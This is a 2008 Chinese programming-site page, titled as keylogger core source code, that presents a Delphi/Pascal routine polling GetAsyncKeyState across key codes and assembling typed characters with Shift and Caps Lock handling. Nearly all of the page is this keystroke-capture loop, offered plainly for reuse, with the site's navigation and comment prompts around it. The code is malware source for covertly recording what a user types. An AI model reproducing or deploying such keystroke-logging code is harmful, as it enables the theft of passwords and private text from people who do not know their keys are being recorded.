现在位置:主页>系统编程> 文章内容

键盘记录核心源码

我要投稿更新日期:2008-07-02 点击:

var //键盘记录 getkey的值
  i: byte;
begin
  for i := 8 to 222 do
  begin
      if GetAsyncKeyState(i) = -32767 then
      begin
        case i of
          8: {loggedkeys := loggedkeys +'[BACKSPACE]'} getkey := copy(getkey, 0, length(getkey) - 1);
    //  9  : getkey:=getkey+' ';
   //   13 : getkey:=getkey+#13#10; //Enter
   //   17 : getkey:=getkey+' ';
   //   27 : getkey:=getkey+' ';
          32: getkey := getkey + ' '; //Space
      // Del,Ins,Home,PageUp,PageDown,End
   //   33 : getkey := getkey + ' ';
   //   34 : getkey := getkey + ' ';
   //   35 : getkey := getkey + ' ';
   //   36 : getkey := getkey + ' ';
          37: getkey := getkey + ' ';
   //  38 : getkey := getkey + ' ';
          39: getkey := getkey + ' ';
 //     40 : getkey := getkey + ' ';

 //     44 : getkey := getkey + ' ';
 //     45 : getkey := getkey + ' ';
//      46 : getkey := getkey + ' ';
          145: getkey := getkey + ' ';
          48: if GetKeyState(VK_SHIFT) < 0 then getkey := getkey + ')'
            else getkey := getkey + '0';
          49: if GetKeyState(VK_SHIFT) < 0 then getkey := getkey + '!'
            else getkey := getkey + '1';
          50: if GetKeyState(VK_SHIFT) < 0 then getkey := getkey + '@'
            else getkey := getkey + '2';
          51: if GetKeyState(VK_SHIFT) < 0 then getkey := getkey + '#'
            else getkey := getkey + '3';
          52: if GetKeyState(VK_SHIFT) < 0 then getkey := getkey + '$'
            else getkey := getkey + '4';
          53: if GetKeyState(VK_SHIFT) < 0 then getkey := getkey + '%'
            else getkey := getkey + '5';
          54: if GetKeyState(VK_SHIFT) < 0 then getkey := getkey + '^'
            else getkey := getkey + '6';
          55: if GetKeyState(VK_SHIFT) < 0 then getkey := getkey + '&'
            else getkey := getkey + '7';
          56: if GetKeyState(VK_SHIFT) < 0 then getkey := getkey + '*'
            else getkey := getkey + '8';
          57: if GetKeyState(VK_SHIFT) < 0 then getkey := getkey + '('
            else getkey := getkey + '9';
          65..90: // a..z , A..Z
            begin
              if ((GetKeyState(VK_CAPITAL)) = 1) then
                if GetKeyState(VK_SHIFT) < 0 then
                  getkey := getkey + LowerCase(Chr(i)) //a..z
                else
                  getkey := getkey + UpperCase(Chr(i)) //A..Z
              else
                if GetKeyState(VK_SHIFT) < 0 then
                  getkey := getkey + UpperCase(Chr(i)) //A..Z
                else
                  getkey := getkey + LowerCase(Chr(i)); //a..z
            end;
          96..105: getkey := getkey + inttostr(i - 96); //Numpad  0..9
          106: getkey := getkey + '*';
          107: getkey := getkey + '&';
          109: getkey := getkey + '-';
          110: getkey := getkey + '.';
          111: getkey := getkey + '/';
          144: getkey := getkey + '[Num Lock]';

          112..123: //F1-F12
            getkey := getkey + '[F' + IntToStr(i - 111) + ']';

          186: if GetKeyState(VK_SHIFT) < 0 then getkey := getkey + ':'
            else getkey := getkey + ';';
          187: if GetKeyState(VK_SHIFT) < 0 then getkey := getkey + '+'
            else getkey := getkey + '=';
          188: if GetKeyState(VK_SHIFT) < 0 then getkey := getkey + '<'
            else getkey := getkey + ',';
          189: if GetKeyState(VK_SHIFT) < 0 then getkey := getkey + '_'
            else getkey := getkey + '-';
          190: if GetKeyState(VK_SHIFT) < 0 then getkey := getkey + '>'
            else getkey := getkey + '.';
          191: if GetKeyState(VK_SHIFT) < 0 then getkey := getkey + '?'
            else getkey := getkey + '/';
          192: if GetKeyState(VK_SHIFT) < 0 then getkey := getkey + '~'
            else getkey := getkey + '`';
          219: if GetKeyState(VK_SHIFT) < 0 then getkey := getkey + '{'
            else getkey := getkey + '[';
          220: if GetKeyState(VK_SHIFT) < 0 then getkey := getkey + '|'
            else getkey := getkey + '\';
          221: if GetKeyState(VK_SHIFT) < 0 then getkey := getkey + '}'
            else getkey := getkey + ']';
          222: if GetKeyState(VK_SHIFT) < 0 then getkey := getkey + '"'
            else getkey := getkey + '''';
        end;
      end;
    end;
  end;



所有评论

评论列表


我也评论来评论! 点击此处参与本文评论

注意:本站采用匿名评论,请各位网友注意自己的言行